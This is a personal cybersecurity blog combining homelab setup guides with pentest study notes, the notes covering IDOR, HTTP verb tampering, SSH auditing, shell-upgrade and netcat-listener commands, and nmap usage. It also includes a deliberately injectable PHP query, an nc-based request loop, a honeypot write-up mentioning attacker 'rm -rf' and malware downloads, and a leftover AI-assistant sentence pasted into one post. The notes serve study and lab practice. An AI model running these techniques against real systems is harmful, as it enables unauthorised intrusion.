# About Me

Nathaniel Fernandes

This is my personal blog, which is not associated with any company, and are my personal views

### A Little About Me

* A Tech Geek with business prowess
* Gone from Developer to Architecture to Operations to Management to Cyber Security
* My Hobbies
  * Fashion
  * Automating my life (With my Homelab)
  * Geeking out in things which pique my interest

## Certifications

### CISSP

<figure><img src="/files/roQ5BRHK6bSou4K2W8CW" alt=""><figcaption><p>CISSP</p></figcaption></figure>

* Passed CISSP at the age of 23
  * [Verify with credly link](https://www.credly.com/badges/660f96e7-9751-4f67-b163-637f9608b47d)
    * Want to know how I got CISSP at the age of 23
      * [The Journey of how I passed CISSP](/blog/the-journey-of-how-i-passed-cissp)

### Other Certification

#### Certified in Cyber Security

* Link to [Badge](https://www.credly.com/badges/98cb1c0e-0827-46ad-add7-ecd275b0c130)

<figure><img src="/files/ZMzbRVnhQSaFidjhPNPF" alt="" width="150"><figcaption><p>Certified in Cyber Security</p></figcaption></figure>

#### ISO/IEC 27001 Information Security Associate

* Link to [Badge](https://www.skillfront.com/Badges/86910310894979)

#### Google Cyber Security

* <https://coursera.org/share/7fd4e69b159fc5b210f83b19996a2006>

## Public Interviews

### John Hammond

{% embed url="<https://www.youtube.com/watch?pp=ygUMam9obiBoYW1tb25k&t=27s&v=snOIA02BsG0>" %}

### Grant Collins

#### Build Practical Experience in Cybersecurity Today (Cybersecurity Homelabs)

{% embed url="<https://www.youtube.com/watch?v=01p8pL-JHaw>" %}

## Public Talks

* Breachforce
  * Diving into nmap How exactly does OS detection work
    * <https://www.linkedin.com/posts/breachforce_breachforce-cybersecurity-collaboration-activity-7228840264654626816-TiJ9?utm_source=share&utm_medium=member_desktop>
    * [How Nmap gets what OS is running by using different probes](/blog/how-nmap-gets-what-os-is-running-by-using-different-probes)
* Vidyalankar School of Information Technology (2024)
  * breaking into cybersecurity
    * <https://www.linkedin.com/feed/update/urn:li:activity:7098597108487745536/>
* keynote speaker at Responsible Netism (2017)
  * Social engineering high value targets
    * <https://marathi.indiatimes.com/maharashtra/mumbai-news/work-together-for-cyber-security/articleshow/60784898.cms>

## Fun Facts about me

* started working at the age of 16 doing web development
  * And things just scaled up from there
* I have given multiple speeches but my most notable one is at the age of 17
  * <https://marathi.indiatimes.com/maharashtra/mumbai-news/work-together-for-cyber-security/articleshow/60784898.cms>
* After being awarded a grant by honourable Minister [Ashwini Vaishnaw](https://www.linkedin.com/in/ashwini-vaishnaw-349b40226/) \*
* ![](/files/sd49hFXUgGxbVaLU0fgr)
* Trained over 1500+ people in cybersecurity

### About this Site

* This is a public documentation site of the tools and configs to build applications faster
* The Focus of my home lab is Cybersecurity
  * building an entire enterprise environment

## Resume

{% file src="/files/BQADqxGQmpIbHichkdeT" %}

## Links

* [Github](https://github.com/nathaniel-security/Docs)
* [linkedin](https://www.linkedin.com/in/nathaniel-fernandes/)


# Homelab

* a place where I upload scripts I have used in my homelab for public documentation
* just added a high level architecture diagram below

{% embed url="<https://xmind.ai/share/P2MeGbPL?xid=UmBsMPfc>" %}
Current Diagram
{% endembed %}


# Change SSH Port

Change SSH Port

```bash
sudo nano /etc/ssh/sshd_config
```

* Change Port Number

#### Restart SSH <a href="#ftoc-heading-5" id="ftoc-heading-5"></a>

For the configuration changes to take effect, restart the SSH service. Run the following command:

```
sudo service ssh restart
```

## Reference

* <https://phoenixnap.com/kb/change-ssh-port>


# Install Docker Ubuntu

Install Docker Ubuntu

## Install docker on ubuntu

```bash
sudo apt-get update && sudo apt upgrade -y
```

```bash
sudo apt-get install \
    ca-certificates \
    curl \
    gnupg \
    lsb-release
```

```bash
sudo apt install apt-transport-https ca-certificates curl software-properties-common -y
```

```bash
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
```

```bash
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
```

```bash
sudo apt install docker-ce -y
```

```bash
sudo systemctl status docker
```


# Portainer

docker management tool

* Good Docker Management tool
* is opensource

## Update

```bash
sudo apt update && sudo apt upgrade -y
```

## Install Portainer Community Edition

```bash
mkdir portainer_data
current_path=$(pwd)
sudo docker run -d -p 8000:8000 -p 9443:9443 --name portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v $current_path/portainer_data:/data portainer/portainer-ce:latest
```


# Install Active Directory

* Config
  * 4 GBram
  * 4 cores
  * windows server 2019

### Install Windows server

* remove the floppy disk before starting it
  * else it keep asking for product key

<figure><img src="/files/HkuBsnEuh6iCrH2tbJ0r" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QrygCdPizMVP1aFjnhgo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gmjIaCzRf2xyczf8PDkr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b5H3F8FmptkDhEluekuw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/r5IL0gkmH7rTzf3nqDAB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kC0hAkjmU84q6REMd5TX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/r8hO4i1ECF1jafZX4P8P" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4LueUhE9mw5qzlgeS9nb" alt=""><figcaption></figcaption></figure>

### Install Active Directory

#### Rename Server

<figure><img src="/files/bLtteXQ9Pl4av1renVs8" alt=""><figcaption></figcaption></figure>

### Install Active Directory Services

<br>

<figure><img src="/files/K6cRDW2k1mEVctewhSs0" alt=""><figcaption></figcaption></figure>

* click on add roles and features

<figure><img src="/files/dGsTN4do26TF3Z92AkpU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b4LK8WrsGIcu9dmjCbYj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/273OtkJdUvILZW90v4nf" alt=""><figcaption></figcaption></figure>

<br>

<figure><img src="/files/An0cZMwsnusvVDZeY177" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oRyRO7yDRjW2MSqTFiN0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/esDVVM7W1vLLEEMbWCHP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZwHhz4rwvuZ81RXi3XHT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/POqUxHbWeKO93V2mytKf" alt=""><figcaption></figcaption></figure>

### Promote to domain controller

<br>

<figure><img src="/files/7VC3ei0yXn6HWguehd8o" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6bdHpHSWl0EtGnelPXfU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/As8gtgN48g1EQfneuSqN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/k45GnG5ncXun1MeWPJH0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Ekk95fH91vZjVxSwRfz7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FC2Iikd2MLNtGN5n9GHY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YYz81eLzO9MWiBg3vgrv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/XcYKYdHeWHe0aOaLw4w5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jxlj4VrDVbTjhnmTS579" alt=""><figcaption></figcaption></figure>

* then Install

### Add user to Domain

<br>

<figure><img src="/files/BsZfyKqgQK7VGk2tgHXb" alt=""><figcaption></figcaption></figure>

* click on Active directory Users and computers

<figure><img src="/files/zZr10nAc9AccPkcEujPK" alt=""><figcaption></figcaption></figure>

<br>


# Setting up Wireguard

just a place to documenting my homelab

* update and upgrade&#x20;

```
sudo apt-get update && sudo apt-get upgrade -y
```

* install wireguard

```
sudo apt-get install wireguard
```

* edit the sysctl.conf

```
sudo nano /etc/sysctl.conf
```

* uncomment \`net.ipv4.ip\_forward=1\`

```
net.ipv4.ip_forward=1
```

```
sudo sysctl -p
```

* wireguard conf

```
cd /etc/wireguard
umask 077
wg genkey | tee privatekey | wg pubkey > publickey
sudo nano /etc/wireguard/wg0.conf
```

* Server conf (technically its a peer)

```
[Interface]
PrivateKey = <privatekey server>
Address = 10.0.0.1/24
# PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
# PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o ens33 -j MASQUERADE
PostUp = iptables -A FORWARD -i wg0 -o ens33 -j ACCEPT; iptables -A FORWARD -i ens33 -o wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -o ens33 -j ACCEPT; iptables -D FORWARD -i ens33 -o wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o ens33 -j MASQUERADE
ListenPort = 51820
Table = off

[Peer]
PublicKey = <client public key>
AllowedIPs = 10.0.0.2/32 , 192.168.0.0/24 , 192.168.0.146/32
```

* clinet conf

```
wg genkey | tee privatekey | wg pubkey > publickey
```

```
[Interface]
Address = 10.0.0.2/32
PrivateKey =  <client private key key>
# DNS = 1.1.1.1

[Peer]
PublicKey = <server public key>
Endpoint = 110.110.110.110:51820
# Endpoint = <change to public ip>:51820
AllowedIPs = 192.168.0.0/24
PersistentKeepalive = 25

```

## References

* <https://upcloud.com/resources/tutorials/get-started-wireguard-vpn>


# Managing WireGuard Logs with Systemd and Logrotate 🔥

When managing a **VPN like WireGuard**, logging is crucial for **monitoring activity, debugging issues, and ensuring security**. But if left unchecked, logs can **grow rapidly** and become unmanageable.

In this guide, we’ll **set up Systemd** to capture WireGuard logs dynamically and use **Logrotate** to keep them under control automatically.

### Setup a Systemd file to store logs

**Step 1: Create a Systemd Service to Store Logs**

First, we need to create a Systemd service that continuously logs WireGuard activity.

🔹 Open a new Systemd service file:

```
nano /etc/systemd/system/wireguard-log.service
```

🔹 Add the following configuration:

```
[Unit]
Description=WireGuard Dynamic Debug Logging
After=network.target

[Service]
ExecStart=/bin/bash -c 'dmesg -wT | grep wireguard >> /var/log/wireguard-dyndbg.log'
Restart=always
RestartSec=5
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
```

🔹 Reload and restart Systemd to apply changes:

```
sudo systemctl daemon-reload
sudo systemctl restart wireguard-log.service
sudo systemctl enable wireguard-log.service
```

🔹 Verify that the service is running:

```
sudo systemctl status wireguard-log.service
```

### **Set Up Logrotate for Automatic Log Management**

Now, let’s ensure our logs don’t grow indefinitely by setting up **Logrotate**.

🔹 Install Logrotate (if not already installed):

```
sudo apt update && sudo apt install logrotate -y
```

🔹 Create a Logrotate configuration file:

```
nano /etc/logrotate.d/wireguard
```

🔹 Add the following configuration to manage log rotation:

```
/var/log/wireguard-dyndbg.log {
    daily
    rotate 7
    compress
    delaycompress
    missingok
    notifempty
    create 0640 root root
    postrotate
        systemctl restart wireguard-log.service > /dev/null 2>&1 || true
    endscript
}

```

Test Your Log Rotation Setup

```
sudo logrotate -v /etc/logrotate.d/wireguard
```

To **force** log rotation manually:

```
sudo rm -f /var/lib/logrotate/status
sudo logrotate -f /etc/logrotate.d/wireguard
```

```
ls -lh /var/log/wireguard-dyndbg.log*
```


# Cloudflare Tunnels: The Cybersecurity Pro's Secret Weapon for Secure Cloud Access

### 🔥 Backstory: Why I Set This Up

* One of my internal apps was **exposed on the internet**  despite being **proxied through Cloudflare**.
* Anyone scanning the internet (like Shodan or Censys) could hit it directly, even though Cloudflare was enabled
* Enter: **Cloudflare Tunnel**  no exposed ports, no firewall nightmares, no BS.

***

Would you like me to add a little `shodan.io` search reference or a quote from your internal logs to give it that gritty realness?

### ✨ TL;DR

Use **Cloudflare Tunnel** to securely expose multiple web apps (on different ports) to the internet using **just one tunnel**, without opening a single port on your firewall. This blog walks through:

* Creating the tunnel
* Mapping subdomains to services
* Auto-starting with systemd

***

### 🧠 Why Use Cloudflare Tunnel?

* 🔐 No port forwarding
* 💸 Free for personal and dev use
* 🌍 Expose multiple apps via subdomains
* 📦 Works great with local HTTPS and Docker

***

### ⚙️ My Setup

* OS: Ubuntu 22.04 (but any Linux works)
* Cloudflare domain: `wehost.co.in`
* Goal: Expose multiple local apps like:
  * `test.wehost.co.in` → `localhost:8002`

***

### 🚀 Step 1: Install `cloudflared`

```
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
```

### 🔐 Step 2: Authenticate with Cloudflare

```
cloudflared tunnel login
```

* This opens a browser window. Select your domain, and Cloudflare will generate a credentials file.

### 🌪️ Step 3: Create the Tunnel

```
cloudflared tunnel create test
```

This creates a tunnel and saves a `.json` credentials file under `~/.cloudflared/`.

You can confirm with:

```
cloudflared tunnel list
```

### 🛠️ Step 4: Create Config File

Create a `config.yml` in `~/.cloudflared/`:

```
nano ~/.cloudflared/config.yml
```

```
tunnel: <YOUR_TUNNEL_ID>
credentials-file: /home/groot/.cloudflared/<YOUR_TUNNEL_ID>.json

ingress:
  - hostname: test.wehost.co.in
    service: https://localhost:8002
    originRequest:
      noTLSVerify: true
  - service: http_status:404

```

Replace `<YOUR_TUNNEL_ID>` with the one from `cloudflared tunnel list`.

### 🌐 Step 5: Route the Subdomain

```
cloudflared tunnel route dns test test.wehost.co.in
```

This links your tunnel to the subdomain in Cloudflare DNS.

### ✅ Step 6: Run the Tunnel

```
cloudflared tunnel --config ~/.cloudflared/config.yml run test
```

You should see output like:

```
Starting tunnel tunnelID=...
Using CurveP256...
```

### 🔁 Step 7: Auto-Start on Boot with systemd

Create the service file:

```
sudo nano /etc/systemd/system/cloudflared-test.service
```

```
[Unit]
Description=Cloudflare Tunnel - test
After=network.target

[Service]
TimeoutStartSec=0
Restart=always
ExecStart=/usr/local/bin/cloudflared tunnel --config /home/groot/.cloudflared/config.yml run test
User=groot
Environment=HOME=/home/groot

[Install]
WantedBy=multi-user.target

```

```
sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl enable cloudflared-test
sudo systemctl start cloudflared-test
```

### 🔮 What’s Next: Auto-Magic with CI/CD

Now that the tunnel’s solid, I’m planning to take it a step further:

> **The next iteration of this setup will integrate with a CI/CD pipeline** so every time I deploy a new app or update port mappings, the pipeline will:
>
> * Automatically update the `config.yml`
> * Push it to the server
> * Restart the Cloudflare tunnel service
> * Route any new subdomains on the fly

Think: zero-touch deployments with automatic subdomain provisioning. No more manual edits, no more downtime  just ship and forget.

Stay tuned — that one’s gonna be fun. 🔧🚀


# 🧠💥 How I Routed My Entire Lab's HTB Traffic Through a Single VPN Box

### 😤 The Problem

If you’re working in a lab environment and doing serious work with Hack The Box (HTB), chances are you've got automation running scanners, exploit frameworks, recon tools, and maybe even a full orchestration setup.

The catch? HTB traffic only routes through their VPN tunnel. So unless *every single* box in your lab connects to the VPN (spoiler: bad idea), you’re stuck.

### 🎯 The Goal

Instead of duct-taping VPN clients on every box, here’s what we want:

* **Single system connected to HTB VPN**
* **All LAN devices route HTB-bound traffic through that system**
* **Clean iptables rules that don’t wreck your firewall**
* **Scriptable and reversible setup that “just works”**

### 🧠 The Setup

Here’s the architecture:

* **LAN Interface:** Your main interface (e.g., `ens33`)
* **VPN Interface:** Where your HTB VPN is connected (`tun0`)
* **LAN Subnet:** `192.168.0.0/24`
* **HTB Subnet:** `10.10.0.0/16`

We’re going to build a gateway that transparently routes traffic from your LAN to HTB over the VPN.

### 🛠️ The Script

```
# Define variables
LAN_IFACE="ens33"
# LAN_IFACE: The interface connected to your local network (home lab or automation server).
VPN_IFACE="tun0"
# VPN_IFACE: The interface created by HTB's OpenVPN connection.
LAN_SUBNET="192.168.0.0/24"
# LAN_SUBNET: The subnet used by your internal LAN devices.
HTB_SUBNET="10.10.0.0/16"  
# HTB_SUBNET: The IP range used by HTB target machines. This is what we want to reach via VPN.


echo "1" | sudo tee /proc/sys/net/ipv4/ip_forward
# 🚀 Enable IP forwarding
# Required so it can forward traffic from LAN to VPN

sudo iptables -F
sudo iptables -t nat -F
# Flushes all filter and NAT rules.
# ⚠️ Warning: This will wipe existing firewall rules. Fine for a lab, dangerous in production.


# NAT outgoing traffic to VPN
sudo iptables -t nat -A POSTROUTING -s $LAN_SUBNET -d $HTB_SUBNET -o $VPN_IFACE -j MASQUERADE
# Changes the source IP of packets from your LAN going to HTB, so they appear to come from your VPN interface IP.

# Allow traffic from LAN to VPN and back
sudo iptables -A FORWARD -s $LAN_SUBNET -d $HTB_SUBNET -i $LAN_IFACE -o $VPN_IFACE -j ACCEPT
# Allows packets going from LAN to HTB (via VPN)
sudo iptables -A FORWARD -d $LAN_SUBNET -s $HTB_SUBNET -i $VPN_IFACE -o $LAN_IFACE -j ACCEPT
# Allows return packets coming from HTB back to LAN

```

👽 Link to updated [code](https://gist.github.com/nathaniel-security/0b63812f96c7dfca8c66b7e6a4176d2f#file-connect_htb-sh)

### 💥Connect my client

```
sudo ip route add 10.10.11.165 via 192.168.0.251 dev wlp0s20f3
```

* `10.10.11.165` is an HTB IP address of the box
* `192.168.0.251` my proxy\_box IP address
* to delete the ip route

```
sudo ip route del 10.10.11.165 via 192.168.0.251 dev wlp0s20f3
```

### ⚡ Real-World Use Case

Now every system on my network even my toaster (I always knew it was destined for great things) can reach any HTB target, without needing its own VPN setup. 🤖🔗💣

### 💬 Final Thoughts

This isn’t about fancy scripts or over-engineering (I tend to do it a lot but don't we all). It’s about having a reliable, controlled setup that routes HTB traffic through your VPN **without reinventing the wheel or smashing your firewall with a sledgehammer**.\
You now have a surgical routing setup. There are no hacks, no weird side effects, and just a clean flow from your lab to HTB.


# Opening SSH with Root Access to the World: A Controlled Honeypot Experiment

> *"If you're going to set a trap, make sure it looks like a jackpot."*

***

### 🐱 It Started with a One-Way Conversation

Before any real hackers showed up, I decided to have a little fun.\
I shared the open SSH port with a friend and told him to "explore freely."

What followed was pure comedy.

He logged in, typed commands like `clear`, `ls`, `cat`, `man`, and even tried chatting with the server:

> `"what the f*** is the server"`\
> `"why have you even exposed this on internet to waste our time"`\
> `"please get a life bro"`

Meanwhile, I sat back, silently watching him yell at a machine that logged everything without a response.

Here’s a live snapshot from that session

<figure><img src="/files/2itEJjBM83gH46XIX1fb" alt=""><figcaption></figcaption></figure>

***

### 🎯 The Goal

After laughing way too hard, I got serious.\
This wasn’t about trolling, it was about building a **controlled honeypot** designed to capture real-world attacker behaviour.

The mission:

* **Expose a fake SSH service** offering **root access**.
* **Isolate** the honeypot completely from the real internet.
* **Control** entry points with tight firewalling and routing.
* **Observe** and log attacker behaviour safely.

In short:\
✅ Full control.\
✅ Full visibility.\
✅ Zero risk.

***

### 🛠️ The Architecture

The setup involved two servers:

| Machine                | Role                | IP / Interface                                       | Notes                                                                                                                               |
| ---------------------- | ------------------- | ---------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| `shaddykrupa`          | Cowrie SSH Honeypot | `192.168.237.128` (host-only network)                | No internet access                                                                                                                  |
| `shaddy-reverse-proxy` | Reverse Proxy       | LAN Interface: `ens33`, Host-Only Interface: `ens37` | Port `2000` exposed to the Internet (exposed on port 22 publically so technically 3 layers of network translation 2 NAT and 1 PAT ) |

**Traffic flow:**

```plaintext
[ Attacker ]
   ⬇️
Public IP (Port 22 externally) 
   ⬇️
shaddy-reverse-proxy:2000 (LAN-facing)
   ⬇️
iptables DNAT
   ⬇️
shaddykrupa:2222 (Cowrie Honeypot)
```

### 🔥 The Firewall (iptables) Rules

Here’s the exact firewall script I used on `shaddy-reverse-proxy`:

```sh
# Flush old NAT rules if needed
sudo iptables -t nat -F

# Forward all TCP traffic hitting port 2000 on the LAN-facing interface to Cowrie
sudo iptables -t nat -A PREROUTING -i ens33 -p tcp --dport 2000 -j DNAT --to-destination 192.168.237.128:2222

# Allow forwarding
sudo iptables -A FORWARD -p tcp -d 192.168.237.128 --dport 2222 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

# Masquerade the packets so they appear to come from the proxy
sudo iptables -t nat -A POSTROUTING -o ens37 -p tcp -d 192.168.237.128 --dport 2222 -j MASQUERADE


sudo iptables -A INPUT -m state --state INVALID -j DROP
sudo iptables -A FORWARD -m state --state INVALID -j DROP

```

This setup ensures:

* Only traffic on port `2000` is accepted and redirected.
* Packets are rewritten so Cowrie sees them correctly.
* Invalid traffic is dropped to harden the proxy itself.

***

### 🧪 Watching the World Come In

Once the trap was live, it didn’t take long.

Bots, opportunistic attackers, and noisy scanners started pouring in each believing they had **found an open root-access SSH server**.

They spammed password attempts, tried `wget` malware downloads, dropped crypto-miners,\
and some immediately fired off `rm -rf /*` like it was Christmas morning.

Meanwhile, Cowrie quietly logged everything.

***

### 📈 Key Observations (So Far)

* **Attackers behave differently** when they think they have root: bold, reckless, and noisy.
* **Speed is insane**: The first bot hit within minutes of exposure.
* **Defence in depth is non-negotiable**: Even honeypots need strong isolation.

***

### 🛡️ What's Next?

This is just the beginning.

I'm **continuing to log** and **analyse** all incoming activity.\
The real fun starts now: studying **what the bots do**, how they behave, and what tools and malware they attempt to deploy when they believe they've found root access.

Will try and put updates soon with:

* Full analysis of attacker behaviour over time
* Common attack patterns spotted in the wild
* Tricks attackers use once they believe they "own" a system

***

### 🧠 Final Thoughts

This wasn’t just about catching hackers / Bots — it was about **understanding them**.\
Learning how fast they move, how they think, and how to outwit them.

By exposing fake root access in a controlled, isolated, and fortified environment,\
I got a front-row seat to the chaos without ever risking a real system.

And honestly? Watching my friend get mad at a fake server was just a bonus.

***

## 🎯 TL;DR

I opened SSH with root access to the world, but the only ones who got pwned were the bots.

And a little bit... my friend too.

## Reference&#x20;

* [cowrie docker compose](https://gist.github.com/nathaniel-security/c7d662d0460af15f73e0c70c938b80f6)
* [iptables](https://gist.github.com/nathaniel-security/dc6165ae26b301f858a749e6a5db8df7)&#x20;


# CyberSecurity

* Just a place I dump my cyber security notes


# Insecure Direct Object References (IDOR)

* IDOR vulnerabilities occur when a web application exposes a direct reference to an object, like a file or a database resource, which the end-user can directly control to obtain access to other similar objects
* download.php?file\_id=123

## Identifying IDORs

### URL Parameters & APIs

* `?uid=1` or `?filename=file_1.pdf`

### AJAX Calls

```javascript
function changeUserPassword() {
    $.ajax({
        url:"change_password.php",
        type: "post",
        dataType: "json",
        data: {uid: user.uid, password: user.password, is_admin: is_admin},
        success:function(result){
            //
        }
    });
}
```

### Understand Hashing/Encoding

* download.php?filename=c81e728d9d4c2f636f067f89cc14862c
* At a first glance, we may think that this is a secure object reference, as it is not using any clear text or easy encoding.
  * However, if we look at the source code, we may see what is being hashed before the API call is made

```javascript
$.ajax({
    url:"download.php",
    type: "post",
    dataType: "json",
    data: {filename: CryptoJS.MD5('file_1.pdf').toString()},
    success:function(result){
        //
    }
});
```

### Compare User Roles

* If we want to perform more advanced IDOR attacks, we may need to register multiple users and compare their HTTP requests and object reference
* if we had access to two different users, one of which can view their salary after making the following API call:

```json
{
  "attributes" : 
    {
      "type" : "salary",
      "url" : "/services/data/salaries/users/1"
    },
  "Id" : "1",
  "Name" : "User1"

}
```


# HTTP Verb Tampering

* &#x20;can be exploited by sending malicious requests using unexpected methods, which may lead to bypassing the web application's authorization mechanism or even bypassing its security controls against other web attacks

### Insecure Coding

```php
$pattern = "/^[A-Za-z\s]+$/";

if(preg_match($pattern, $_GET["code"])) {
    $query = "Select * from ports where port_code like '%" . $_REQUEST["code"] . "%'";
    ...SNIP...
}
```

### Insecure Configurations

```
<Limit GET POST>
    Require valid-user
</Limit>
```

### Attack

* Crafting custom HTTP requests

```
[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]
```

```
OPTIONS /index.html HTTP/1.1
host: www.example.com
```

```
GET /index.html HTTP/1.1
host: www.example.com
```

```
HEAD /index.html HTTP/1.1
host: www.example.com
```

```
POST /index.html HTTP/1.1
host: www.example.com
```

```
PUT /index.html HTTP/1.1
host: www.example.com
```

```
DELETE /index.html HTTP/1.1
host: www.example.com
```

```
TRACE /index.html HTTP/1.1
host: www.example.com
```

```
CONNECT /index.html HTTP/1.1
host: www.example.com
```

### Automated HTTP Verb Tampering Testing

```
#!/bin/bash

for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;

do
printf "$webservmethod " ;
printf "$webservmethod / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 | grep "HTTP/1.1"

done
```

## Reference

* <https://owasp.org/www-project-web-security-testing-guide/v41/4-Web\\_Application\\_Security\\_Testing/07-Input\\_Validation\\_Testing/03-Testing\\_for\\_HTTP\\_Verb\\_Tampering>


# SSH Attack

### SSH-Audit

```shell-session
git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
```

```shell-session
./ssh-audit.py 10.129.14.132
```

```shell-session
# general
(gen) banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
(gen) software: OpenSSH 8.2p1
(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+
(gen) compression: enabled (zlib@openssh.com)                                   

# key exchange algorithms
(kex) curve25519-sha256                     -- [info] available since OpenSSH 7.4, Dropbear SSH 2018.76                            
(kex) curve25519-sha256@libssh.org          -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256 (2048-bit) -- [info] available since OpenSSH 4.4
(kex) diffie-hellman-group16-sha512         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512         -- [info] available since OpenSSH 7.3
(kex) diffie-hellman-group14-sha256         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73

# host-key algorithms
(key) rsa-sha2-512 (3072-bit)               -- [info] available since OpenSSH 7.2
(key) rsa-sha2-256 (3072-bit)               -- [info] available since OpenSSH 7.2
(key) ssh-rsa (3072-bit)                    -- [fail] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
                                            `- [info] a future deprecation notice has been issued in OpenSSH 8.2: https://www.openssh.com/txt/release-8.2
(key) ecdsa-sha2-nistp256                   -- [fail] using weak elliptic curves
                                            `- [warn] using weak random number generator could reveal the key
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(key) ssh-ed25519                           -- [info] available since OpenSSH 6.5
...SNIP...
```


# Basic Bash

basic bash commands used in cybersecurity

## SET TERM

```bash
export TERM=xterm
```

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```

## Local Python Server

```bash
python3 -m http.server <PORT NUMBER> #python3 -m http.server 80
```

## NETCAT

### Netcat Listener

```bash
nc -lvp <PORT NUMBER> #nc -lvp 8080
```


# Nmap

### Notes

* Passing an ip is better than using domain name
  * else nmap will spend time doing a reverse domain lookup
  * but an ip can also have multiple domain under it
    * which could be used to attack it
* if you know target is online pass the flag for telling it not to do a ping
  * Pass the `-Pn` flag
* Nmap used the response of port scan as well as the network header to determine the OS
  * this is a probability
  * this can be increased by various NSE scripts
* Suggestion
  * Always save it to a file
* the order of the flags are also important if you do a -sv and the a -p- it will do a banner grab on every port
  * instead if you do a -p- first then a first check if the port is open and then does a banner grab
  * <https://youtu.be/Sz2y34lE\\_Z0?t=1978>

## Nmap Commands

### Basic

```
nmap -Pn -n -A -vvv -oN nmap/00-basic.txt -iL target.txt
```

### TCP port scan Full

```bash
nmap -n -p- -vvv -oN nmap/01-full-port-scan.txt -iL target.txt
```

### UDP port scan Full

```bash
sudo nmap -vvv -sU -n -p- -oN nmap/02-udp-full-port-scan.txt -iL target.txt
```

### Top 1000 UDP port scan Full

```bash
sudo nmap -vvv -sU -n -p- -oN nmap/02.5-udp-top-1000-port-scan.txt -iL target.txt
```

### Detail scan

```bash
sudo nmap -vvv -sC -A -O -osscan-guess -sV -version-all -oN nmap/03-detail-scan.txt -iL target.txt -p <port number T:80 t is tcp>
```

### Convert nmap xml to html

```shell-session
 xsltproc target.xml -o target.html
```

### Type of Scans

#### -sT

* most stealthy where the whole connection is made
  * most stealthy since many firewalls are tuned to look for half open connections
  * SYN > SYN/ ACK > ACK
* also the most accurate
* but takes the most time

#### -sA

<figure><img src="/files/fP8hbr8zYXlTPNRn9Bfi" alt=""><figcaption></figcaption></figure>

* only sends a `ACK` packet
* done to understand the firewall rule set
* works if firewall is stateless
* <https://explainshell.com/explain?cmd=nmap+-sA>

#### -sS

* default scan of nmap
* Sends only a `SYN` packet
* can be detected by firewalls after potential 2 packet , 3 to prove a trend
* also the fastest scan

#### -sU

* performs UDP scan
* still does a ping first

<figure><img src="/files/nDUA7z6FiHdQulCOESGd" alt=""><figcaption></figcaption></figure>

* Don't know why Nmap tries to connect on port 80 with TCP in a UDP scan

#### -Pn

* nmap always does a icmp request to check if the port is up
* this tell nmap not to do a ping request

#### -sV

* discovers service version by banner grabbing

#### -O

* discovers OS details from ports and TTL

#### -A

* does os discovers (-O) and service discovery along with their versions

## Cheat sheet

| **Nmap Option**      | **Description**                                                        |
| -------------------- | ---------------------------------------------------------------------- |
| `10.10.10.0/24`      | Target network range.                                                  |
| `-sn`                | Disables port scanning.                                                |
| `-Pn`                | Disables ICMP Echo Requests                                            |
| `-n`                 | Disables DNS Resolution.                                               |
| `-PE`                | Performs the ping scan by using ICMP Echo Requests against the target. |
| `--packet-trace`     | Shows all packets sent and received.                                   |
| `--reason`           | Displays the reason for a specific result.                             |
| `--disable-arp-ping` | Disables ARP Ping Requests.                                            |
| `--top-ports=<num>`  | Scans the specified top ports that have been defined as most frequent. |
| `-p-`                | Scan all ports.                                                        |
